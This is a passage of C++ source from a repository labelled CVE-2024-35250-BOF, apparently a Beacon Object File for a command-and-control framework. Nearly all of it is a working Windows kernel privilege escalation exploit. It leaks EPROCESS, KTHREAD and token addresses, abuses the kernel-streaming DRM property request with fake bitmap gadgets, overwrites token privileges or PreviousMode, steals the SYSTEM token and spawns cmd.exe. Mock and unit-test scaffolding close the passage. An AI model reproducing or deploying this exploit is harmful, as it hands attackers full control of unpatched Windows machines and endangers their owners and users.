335 | typedef HRESULT(WINAPI* MyKsOpenDefaultDevice)(REFGUID Category, ACCESS_MASK Access, PHANDLE DeviceHandle);
336 | MyKsOpenDefaultDevice _KsOpenDefaultDevice = (MyKsOpenDefaultDevice)GetProcAddress(hKsProxy, "KsOpenDefaultDevice");
337 | if (!_KsOpenDefaultDevice) {
338 | print_error("GetProcAddress ksproxy.ax$_KsOpenDefaultDevice failed: ", GetLastError());
339 | return;
340 | }
341 |
342 |
343 | //
344 | // Get a KS object device with ksproxy.ax API
345 | //
346 | for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
347 | {
348 | hr = _KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);
349 |
350 | if (hr != NOERROR) {
351 | print_info("[-] KsOpenDefaultDevice at index %d failed with error = %x", i, hr);
352 | return;
353 | }
354 |
355 | print_info("[+] DRM device handle value = %p", hDrmDevice);
356 | }
357 |
358 | #ifdef _SE_DEBUG_PRIVILEGE
359 |
360 | HANDLE hToken;
361 | uint64_t ktoken_obj = 0;
362 | res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
363 |
364 | if (!res)
365 | {
366 | print_info("[-] Failed to open current process token");
367 | return res;
368 | }
369 |
370 | res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
371 | if (res != NULL)
372 | {
373 | return -1;
374 | }
375 |
376 | print_info("[+] Current process TOKEN address = %llx", ktoken_obj);
377 | #elif defined _PREVIOUS_MODE
378 |
379 | uint64_t Sysproc = 0;
380 | uint64_t Curproc = 0;
381 | uint64_t Curthread = 0;
382 |
383 | HANDLE hCurproc = 0;
384 | HANDLE hThread = 0;
385 | //
386 | // Leak System _EPROCESS kernel address
387 | //
388 | Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
389 | if (Ret != NULL)
390 | {
391 | return;
392 | }
393 | print_info("[+] System EPROCESS address: %llx", Sysproc);
394 |
395 | //
396 | // Leak Current _KTHREAD kernel address
397 | //
398 | hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
399 | if (hThread != NULL)
400 | {
401 | Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
402 | if (Ret != NULL)
403 | {
404 | return;
405 | }
406 | print_info("[+] Current KTHREAD address: %llx", Curthread);
407 | }
408 |
409 | //
410 | // Leak Current _EPROCESS kernel address
411 | //
412 | hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
413 | if (hCurproc != NULL)
414 | {
415 | Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
416 | if (Ret != NULL)
417 | {
418 | return;
419 | }
420 | print_info("[+] Current EPROCESS address: %llx", Curproc);
421 | }
422 | #endif
423 |
424 | //
425 | // Initialize input buffer
426 | //
427 |
428 | GUID _KSPROPSETID_DrmAudioStream;
429 | IIDFromString(L"{2F2C8DDD-4198-4fac-BA29-61BB05B7DE06}", &_KSPROPSETID_DrmAudioStream);
430 |
431 | pInBufProperty->Set = _KSPROPSETID_DrmAudioStream;
432 | pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
433 | pInBufProperty->Id = 0x0;
434 |
435 | //
436 | // Initialize output buffer
437 | //
438 | pSerialHdr->PropertySet = _KSPROPSETID_DrmAudioStream;
439 | pSerialHdr->Count = 0x1;
440 |
441 | pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
442 | pSerial->Id = 0x0; // Should be null
443 | pSerial->PropTypeSet.Set = _KSPROPSETID_DrmAudioStream;
444 | pSerial->PropTypeSet.Flags = 0x0; // Should be null
445 | pSerial->PropTypeSet.Id = 0x45; // Irrelevant value
446 |
447 | //
448 | // Intialize fake property data
449 | //
450 | uint64_t ntoskrnl_user_base = 0;
451 | HMODULE outModule = 0;
452 | UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
453 | print_info("[+] ntoskrnl.exe base address = %llx", ntoskrnlKernelBase);
454 | pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));
455 |
456 | #ifdef _SE_DEBUG_PRIVILEGE
457 | //
458 | // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
459 | //
460 | pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
461 | pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address
462 | pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));
463 | print_info("[!] RtlSetAllBits kernel address = %p", pInBufPropertyData->ptr_ArbitraryFunCall);
464 | #elif defined _PREVIOUS_MODE
465 | //
466 | // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
467 | //
468 | pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
469 | pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); // KTHREAD.PreviousMode field address
470 | pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits")); // This gadget will zeroing KTHREAD.PreviousMode field
471 | print_info("[!] RtlClearAllBits kernel address = %p", pInBufPropertyData->ptr_ArbitraryFunCall);
472 | #endif
473 |
474 | //
475 | // Send property request to trigger the vulnerability
476 | //
477 | res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);
478 |
479 | if (!res)
480 | {
481 | print_info("[-] DeviceIoControl failed"); // It's ok to see this message if exploit succeded
482 | }
483 |
484 | #ifdef _SE_DEBUG_PRIVILEGE
485 |
486 | HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));
487 |
488 | if (!hWinLogon) {
489 | print_info("OpenProcess failed with error = 0x%lx", GetLastError());
490 | return FALSE;
491 | }
492 |
493 | CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");
494 |
495 | return TRUE;
496 | #elif defined _PREVIOUS_MODE
497 | print_info("[!] Leveraging DKOM to achieve LPE");
498 | print_info("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token");
499 |
500 | uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations
501 |
502 | Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8);
503 |
504 | //
505 | // Restoring KTHREAD.PreviousMode phase
506 | //
507 | Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));
508 |
509 | //
510 | // Spawn the shell with "nt authority\system"
511 | //
512 | VirtualFree(pOutBufPropertyData->FakeBitmap, 0, MEM_RELEASE);
513 |
514 | CloseHandle(hCurproc);
515 | CloseHandle(hDrmDevice);
516 | CloseHandle(hThread);
517 | CloseHandle(hKsProxy);
518 |
519 | #endif
520 |
521 | return;
522 |
523 | }
524 |
525 | /*
526 | void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall) {
527 | }
528 | */
529 | }
530 |
531 | // Define a main function for the bebug build
532 | #if defined(_DEBUG) && !defined(_GTEST)
533 |
534 | int main(int argc, char* argv[]) {
535 | // Run BOF's entrypoint
536 | // To pack arguments for the bof use e.g.: bof::runMocked(go, 6502, 42, "foobar");
537 | bof::runMocked<>(go);
538 |
539 | /* To test a sleepmask BOF, the following mockup executors can be used
540 | // Mock up Beacon and run the sleep mask once
541 | bof::runMockedSleepMask(sleep_mask);
542 |
543 | // Mock up Beacon with the specific .stage C2 profile
544 | bof::runMockedSleepMask(sleep_mask,
545 | {
546 | .allocator = bof::profile::Allocator::VirtualAlloc,
547 | .obfuscate = bof::profile::Obfuscate::False,
548 | .useRWX = bof::profile::UseRWX::True,
549 | .module = "",
550 | },
551 | {
552 | .sleepTimeMs = 5000,
553 | .runForever = false,
554 | }
555 | );
556 | */
557 |
558 | return 0;
559 | }
560 |
561 | // Define unit tests
562 | #elif defined(_GTEST)
563 | #include
564 |
565 | TEST(BofTest, Test1) {
566 | std::vector got =
567 | bof::runMocked<>(go);
568 | std::vector expected = {
569 | {CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"}
570 | };
571 | // It is possible to compare the OutputEntry vectors, like directly
572 | // ASSERT_EQ(expected, got);
573 | // However, in this case, we want to compare the output, ignoring the case.
574 | ASSERT_EQ(expected.size(), got.size());
575 | ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str());
576 | }
577 | #endif
578 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/base/mock.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include